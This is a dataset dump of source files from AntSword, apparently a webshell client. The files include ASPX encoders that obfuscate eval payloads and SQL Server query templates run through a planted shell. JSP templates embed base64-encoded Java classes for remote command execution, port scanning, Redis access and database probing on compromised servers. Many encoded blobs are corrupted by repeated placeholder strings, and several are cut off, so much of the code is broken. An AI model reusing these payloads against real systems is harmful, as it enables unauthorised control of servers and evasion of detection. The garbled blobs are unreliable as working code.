text
stringlengths
9
39.2M
dir
stringlengths
26
295
lang
stringclasses
185 values
created_date
timestamp[us]
updated_date
timestamp[us]
repo_name
stringlengths
1
97
repo_full_name
stringlengths
7
106
star
int64
1k
183k
len_tokens
int64
1
13.8M
```javascript // // ASPX::sqloledb_1 // module.exports = require('./default'); ```
/content/code_sandbox/source/core/aspx/template/database/sqloledb_1.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
23
```javascript // // aspx::hex // // hex // 'use strict'; module.exports = (pwd, data, ext = null) => { let randomID; if (ext.opts.otherConf['use-random-variable'] === 1) { randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']); } else { randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`; } let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new Sys" + "tem.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Co" + "nvert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Glob" + "alization.NumberStyles.HexNumber))));}return sb.ToString();};"; data[randomID] = Buffer .from(data['_']) .toString('hex'); data[pwd] = `${hexencoder};eval(HexAsciiConvert(Request.Item["${randomID}"]),"unsafe");`; delete data['_']; return data; } ```
/content/code_sandbox/source/core/aspx/encoder/hex.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
257
```javascript // // aspx::base64 // // :base64 // 'use strict'; module.exports = (pwd, data, ext = null) => { let randomID; if (ext.opts.otherConf['use-random-variable'] === 1) { randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']); } else { randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`; } data[randomID] = Buffer .from(data['_']) .toString('base64'); data[pwd] = `eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${randomID}"])),"unsafe");`; delete data['_']; return data; } ```
/content/code_sandbox/source/core/aspx/encoder/base64.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
173
```javascript /** * aspx::url_unicode * %uXXXX * eg: Re => %u0052%u0065 * Create at: 2019/05/31 17:11:01 */ 'use strict'; function char2unicode(c) { if (c.length != 1) { return ''; } let buff = Buffer.alloc(4, '0'); let hexstr = c .charCodeAt() .toString(16); buff.write(hexstr, buff.length - hexstr.length, hexstr.length); return "\\u" + buff.toString(); } function string2unicode(str) { var ret = ""; for (var i = 0; i < str.length; i++) { ret += char2unicode(str[i]); } return ret; } /* * @param {String} pwd * @param {Array} data payload * @return {Array} data payload */ module.exports = (pwd, data, ext = {}) => { data[pwd] = string2unicode(data['_']).replace(/\\u/g, 'asunescape(%)u'); // _ payload delete data['_']; // payload return data; } ```
/content/code_sandbox/source/core/aspx/encoder/url_unicode.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
269
```javascript /** * ASPX::sqlserver */ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // show_databases: { _: `var Conn=new ActiveXObject("Adodb.connection"); Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]))); var Rs=new ActiveXObject("ADODB.Recordset"); Rs.Open("SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1",Conn,1,1); while(!Rs.EOF && !Rs.BOF){ Response.Write(Rs.Fields(0).Value+"\\t"); Rs.MoveNext(); } Rs.Close(); Conn.Close();`.replace(/\n\s+/g, ''), [arg1]: '#{base64::conn}' }, // show_tables: { _: `var Conn=new ActiveXObject("Adodb.connection"); Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]))); var Rs=new ActiveXObject("ADODB.Recordset"); Rs.Open("USE ["+Request.Item["${arg2}"]+"]; SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1",Conn,1,1); while(!Rs.EOF && !Rs.BOF){ Response.Write(Rs.Fields(0).Value+"\\t"); Rs.MoveNext(); } Rs.Close(); Conn.Close();`.replace(/\n\s+/g, ''), [arg1]: '#{base64::conn}', [arg2]: '#{dbname}' }, // show_columns: { _: `var Conn=new ActiveXObject("Adodb.connection"); Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]))); var Rs=new ActiveXObject("ADODB.Recordset"); Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1); var CO:String="\\t"; var i:Int32=Rs.Fields.Count,c:Int32; for(c=0;c<i;c++){ Response.Write(Rs.Fields(c).Name+CO) } Rs.Close(); Conn.Close();`.replace(/\n\s+/g, ''), // Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd= [arg1]: '#{base64::conn}', // USE [database1];SELECT A.[name],B.[name] FROM syscolumns A,systypes B where // A.id=object_id(\'table1\') and A.xtype=B.xtype ORDER BY A.colid [arg2]: '#{base64::table}', // sql }, // SQL query: { _: `var Conn=new ActiveXObject("Adodb.connection"); var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])); Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])); Conn.ConnectionTimeout=10; Conn.Open(); var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String; Conn.DefaultDatabase=Request.Item["${arg3}"]; var Rs=Conn.Execute(strSQL); var i:Int32=Rs.Fields.Count,c:Int32; for(c=0;c<i;c++){ Response.Write(Rs.Fields(c).Name+CO); } Response.Write(RN); while(!Rs.EOF && !Rs.BOF){ for(c=0;c<i;c++){ Dat=Rs.Fields(c).Value; Response.Write(Dat); Response.Write(CO); } Response.Write(RN); Rs.MoveNext(); } Conn.Close();`.replace(/\n\s+/g, ''), // Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd= [arg1]: '#{base64::conn}', // SELECT TOP 20 * FROM table1 ORDER BY 1 DESC [arg2]: '#{base64::sql}', [arg3]: '#{dbname}' } }) ```
/content/code_sandbox/source/core/aspx/template/database/sqlserver.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
956
```javascript /** * JSP::reverse */ 'use strict'; module.exports = { asoutput: (ext={}) => { /** * ext = { * opts: Object, Shell * } */ return `your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAA0AAAAdAAEAAQAAAAUqtAAGsAAAAAEADgAAAAYAAQAAAAkAAQARAAAAAgAS`; }, decode_buff: (buff) => { return Buffer.from(buff).reverse(); } } ```
/content/code_sandbox/source/core/jsp/decoder/reverse.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
141
```javascript /** * JSP::default */ 'use strict'; module.exports = { asoutput: () => { return ``.replace(/\n\s+/g, ''); }, decode_buff: (data) => { return data; } } ```
/content/code_sandbox/source/core/jsp/decoder/default.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
53
```javascript /** * jsp::rot13 */ 'use strict'; const rot13encode = (s) => { //use a Regular Expression to Replace only the characters that are a-z or A-Z return s.replace(/[a-zA-Z]/g, function (c) { // Get the character code of the current character and add 13 to it If it is // larger than z's character code then subtract 26 to support wrap around. return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26); }); }; module.exports = { asoutput: () => { return `your_sha256_hashBwAdBwAeAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashDAAAAAIAAQANAA4AAQAPAAAA2QADAAUAAACVKrcAAbsAAlkrtwADTQM+your_sha256_hashyour_sha256_hashEhUEEFqjAAsVBBANZJI2BCwdFQS2AAaEAwGn/your_sha256_hashAAKAGkACwB/your_sha256_hashAAAGAAEAAAASAAEAEwAAAAIAFA==`; }, decode_buff: (buff) => { return Buffer.from(rot13encode(buff.toString())); } } ```
/content/code_sandbox/source/core/jsp/decoder/rot13.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
342
```javascript /** * JSP::base64 */ 'use strict'; module.exports = { asoutput: (ext={}) => { /** * ext = { * opts: Object, Shell * } */ return `your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashBL0ADFkDEwASU7YADRkFBL0ADlkDK7YAE1O2AA/your_sha256_hashyour_sha256_hashBAAEAAAAFKrQAA7AAAAABACAAAAAGAAEAAAAbAAEAJQAAAAIAJg==`; }, decode_buff: (buff) => { return Buffer.from(buff.toString(), 'base64'); } } ```
/content/code_sandbox/source/core/jsp/decoder/base64.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
252
```javascript /** * JSP * yzddMr6 */ 'use strict'; const Base = require('../base'); class JSP extends Base { constructor(opts) { super(opts); // [ 'base', 'command', 'filemanager', 'other', 'database/sqlserver', 'database/mysql', 'database/oracle' ].map((_) => { try { this.parseJspTemplate(`./template/${_}`); } catch (error) { console.error(error); } }); // this .encoders .map((_) => { this.parseEncoder(`./jsp/encoder/${_}`); }); this .decoders .map((_) => { this.parseDecoder(`./jsp/decoder/${_}`); }); } /** * * @return {array} */ get encoders() { return []; } get decoders() { return ['default', 'reverse', 'rot13', 'base64']; } /** * HTTP * @param {Object} data * @return {Promise} Promise */ complete(data, force_default = false) { // let tag_s, tag_e; if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) { tag_s = this.__opts__['otherConf']['custom-datatag-tags']; } else { tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|"; } if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) { tag_e = this.__opts__['otherConf']['custom-datatag-tage']; } else { tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-"; } data['_'] = this.replaceClassStringVar(data['_'], '->|', tag_s); data['_'] = this.replaceClassStringVar(data['_'], '|<-', tag_e); data['_'] = this.replaceClassStringVar(data['_'], 'antswordCharset', this.__opts__["encode"]); data['_'] = this.replaceClassStringVar(data['_'], 'antswordrandomPrefix', this.__opts__.otherConf["random-Prefix"]); let asencCode; let ext = { opts: this.__opts__, }; if (!force_default) { asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(ext); } else { asencCode = this.__decoder__['default'].asoutput(ext); } let _argv = this.argv(); let formatter = this.format(this.__opts__); data[_argv[0]] = formatter['newbase64'](asencCode); data['_'] = this.replaceClassStringVar(data['_'], 'antswordargdecoder', _argv[0]); // return this.encodeComplete(tag_s, tag_e, data); } /** * JSP * @param {String} tpl * @returns {Object} `_` */ parseJspTemplate(tpl) { // `/``_` let templateName = (tpl.split('template/')[1]).replace(/\//g, '_'); this[templateName] = {}; // let _argv = this.argv(); let templateObj = require(`${tpl}`)(_argv[0], _argv[1], _argv[2], _argv[3], _argv[4], _argv[5]); let formatter = Base .prototype .format(this.__opts__); // for (let funcName in templateObj) { this[templateName][funcName] = ((args) => { if (typeof (args) === 'object') { // return (argv) => { let data = {}; // for (let _ in args) { data[_] = args[_]; } // for (let arg in args) { (args[arg].match(/#{([\w\:]+)}/g) || []).map( // example: #{hex::str} = hex(str), #{arg1} = arg1 (tag) => { let tagStr = tag.substr(2, tag.length - 3); let tagArr = tagStr.split('::'); let func, retStr; if ((tagArr.length > 0) && (func = formatter[tagArr[0]])) { // retStr = func(argv[tagArr[1] || '']); data['_'] = this.replaceClassStringVar(data['_'], `antswordarg${tagArr[1]}`, arg); } else { // retStr = argv[tagStr] || ''; data['_'] = this.replaceClassStringVar(data['_'], `antswordarg${tagStr}`, arg); } // data[arg] = data[arg].replace(tag, retStr); }); } // HTTP return data; } } else { // return () => ({ _: args }); } })(templateObj[funcName]); } } /** * String * */ replaceClassStringVar(b64code, oldvar, newvar) { let code = Buffer.from(b64code, 'base64'); let hexcode = code.toString('hex'); let hexoldvar = Buffer.from(oldvar).toString('hex'); let oldpos = hexcode.indexOf(hexoldvar); if (oldpos > -1) { let newlength = this.decimalToHex(newvar.length, 4); let retcode = `${hexcode.slice(0, oldpos - 4)}${newlength}${Buffer.from(newvar).toString('hex')}${hexcode.slice(oldpos + hexoldvar.length)}`; return Buffer.from(retcode, 'hex').toString('base64'); } return b64code; } decimalToHex(d, padding) { var hex = Number(d).toString(16); padding = typeof (padding) === "undefined" || padding === null ? padding = 2 : padding; while (hex.length < padding) { hex = "0" + hex; } return hex; } } module.exports = JSP; ```
/content/code_sandbox/source/core/jsp/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,473
```javascript // // // module.exports = (arg1, arg2, arg3) => ({ exec: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashHAC/CgAdAL8LAGAAwAoACwC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAPQKANsA9QoANwD2CAD3CgA3APgHAPkHAPoKAFYA+woAVQD8CgBVAP0IAP4KAFUA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZ0J1ZmZlcgEAAy0+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashADKAtgA1hAYCp/+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashDK1NZBCq2ADqaAAgSO6cABRI8U1kFLFM6BbgAPToGuwA+WRkGtwA/OgctEkC2AEE6CAM2CRUJGQi+ogAsGQgVCTISQrYAQToKGQq+BaAAExkHGQoDMhkKBDK5AEMDAFeECQGn/your_sha256_hashyour_sha256_hash/+/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashB7cAV7cAWDoEGQS2AFlZTsYAHiy7AB1ZtwAeLbYAIBJatgAgtgAitgAbV6f/your_sha256_hashyour_sha256_hashyour_sha256_hashtQACKiwSaAO9AGS2AGUrA70AZrYAZ8AAYLUAA6cAek0rwQBfmQByKivAAF+your_sha256_hashyour_sha256_hashyour_sha256_hashAAHYACgB3ABIAeAAcAHkAJgB6ACkAfAAvAH0ASAB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAH0ZBQS9AGZZAytTtgBnwABwwABwTacAMhJ/your_sha256_hashyour_sha256_hashqABVAKkAWACqAF8AqwCHAK0AiQCuAIsArwABAKAAAAACAKE=', [arg1]: "#{newbase64::bin}", [arg2]: "#{newbase64::cmd}", [arg3]: "#{newbase64::env}" }, listcmd: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashBwC+BwC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashYW5kb21QcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZUFycmF5T3V0cHV0U3RyZWFtDAD2APcMAHAA+AwA+QD6DAD7APwMAOcA/QEAASwMAP4A+AwA6gB3AQAQamF2YS9sYW5nL1N0cmluZwwAfQB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashuwC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashK7YALaIAWbsAG1m3ABwZBbYAHi0rFQa2AC+your_sha512_hash/+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashELL6iAF+your_sha256_hash9tgAetgAgTqcAHrsAG1m3ABwttgAeLBUEMrYAHhI+tgAetgAgToQEAaf/your_sha256_hashagBJAHAAUQABAHoAewABAHIAAAFoAAQABgAAANwrtgA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashBr0AR1kDEwBTU1kEsgBUU1kFsgBUU7YASE4tBLYAVS0qtgA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAIcAjACJAI0AiwCOAAEAfwAAAAIAgA==', [arg1]: '#{newbase64::binarr}' } }) ```
/content/code_sandbox/source/core/jsp/template/command.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,618
```javascript // // // // module.exports = () => ({ info: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashYXNzTG9hZGVyAQALZGVmaW5lQ2xhc3MBAAJbQgcA9QwA9gD3DAD4APkMAPoA+wEAEGphdmEvbGFuZy9TdHJpbmcMAPwA/QcA/gwA/your_sha256_hashyour_sha256_hashy5CQVNFNjREZWNvZGVyAQAMZGVjb2RlQnVmZmVyDAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashtwAbLbYAHSostgAhtgAitgAdGQS2AB22AB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash2AB+your_sha256_hashEAAgAAABauwAaWbcAG00rEiq2ACuaAEC4ACxOLToEGQS+NgUDNgYVBhUFogAcGQQVBjI6BywZB7YALQMFtgAuV4QGAaf/46cAFU4sEiq2AB1XpwAKLBIqtgAdVyy2AB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash2AC8SQLYAPToFGQUEtgA+KhkFGQS2AD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAWACDAF8AhACHAIYAiQCHAIsAiAABAHYAAAACAHc=', // probedb: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashb21QcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashcgEAAy0+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAPEMAPIA8wwA9AD1BwD2DAD3APgMAPkA+gwA+wD8DABpAGoMAGUA/QEADGphdmEudmVyc2lvbgcA/gwA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashGIAHQB+your_sha256_hashyour_sha256_hashyour_sha256_hashBDK2AB0SL7YAHbYAH06EBAGn/7MtsAABADcAWgBdABkAAQBoAAAAKgAKAAAAJwAqADAALQAxADcAMwA/your_sha256_hashyour_sha256_hashyour_sha256_hashTSvBADOZAHIqK8AAM7UAAiq0AAK2ADASPLYAPU4tBLYAPi0qtAACtgA/your_sha256_hashyour_sha256_hashALcA1gDZABkAAQBoAAAAYgAYAAAAPQAKAD4AEgA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashfgBYAH8AXwCAAIcAggCJAIMAiwCEAAEAdQAAAAIAdg==', }) ```
/content/code_sandbox/source/core/jsp/template/base.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,263
```javascript // // // // module.exports = (arg1, arg2, arg3, arg4, arg5) => ({ redisconn: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashCgAcALQLAGIAtQoACwC0CgB5ALYKALcAuAoAuQC6CgApALsKACkAvAcAvQoAeQC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAFQA7woAVADwBwDxCgBaAPIKAFQA8woAVAD0CgAbAPUKADQA9gcA9wcA+AcA+QgA+ggA+woANAD8CAD9CAB6CgA0AP4KAP8BAAoA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashGlzQ29ubi5qYXZhDACDAIQMAHoAewwAfAB9AQAGYmFzZTY0DAB+your_sha256_hashyour_sha256_hashyour_sha256_hashZGFyZ2RlY29kZXIBAAl0ZXh0L2h0bWwMAQ0BDgwBDwEODAEQAIoMAIkAigwAggB/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashL09iamVjdDsAIQB5ADYAAAAGAAEAegB7AAAAAQB8AH0AAAABAH4AfwAAAAEAgAB/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashOgQZBAO9ADS2AD0DvQA2tgA+OgUZBbYAOBI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashp//SLcYARC22AE+your_sha256_hash6DC3GAActtgBPGQy/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAFsQHrYAXCwQHrYAXSywTizGAAcstgBPLbYAXi2/AAEAAgBDAEQAGwABAIYAAAA+your_sha256_hashyour_sha256_hashADi2AF+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAcVNZBSy+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash, [arg1]: '#{newbase64::addr}', [arg2]: '#{newbase64::context}' }, portscan: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashCgAuALYKAC4AtwoALgC4CgAuALkHALoKADsArwoALgC7CgAbALwKAEkAvQoARwC+BwC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAxyYW5kb21QcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashbGFuZy9TdHJpbmdCdWlsZGVyAQAJRVJST1I6Ly8gDADoAOoMAOsA7AwA7QDuDAB/your_sha256_hashAIAAgQwAcAD2AQABLAwA9wD4AQAPamF2YS9uZXQvU29ja2V0DABwAPkMAPoA+wEAAQkBAAYJT3BlbgoMAPwAcQEACAlDbG9zZWQKAQABOgwA/QD+DAD/AP4MAQAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashW5nL09iamVjdAcBDgwBDwEQAQALZ2V0UmVzcG9uc2UMAREBEgcBEwwBFAD+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_s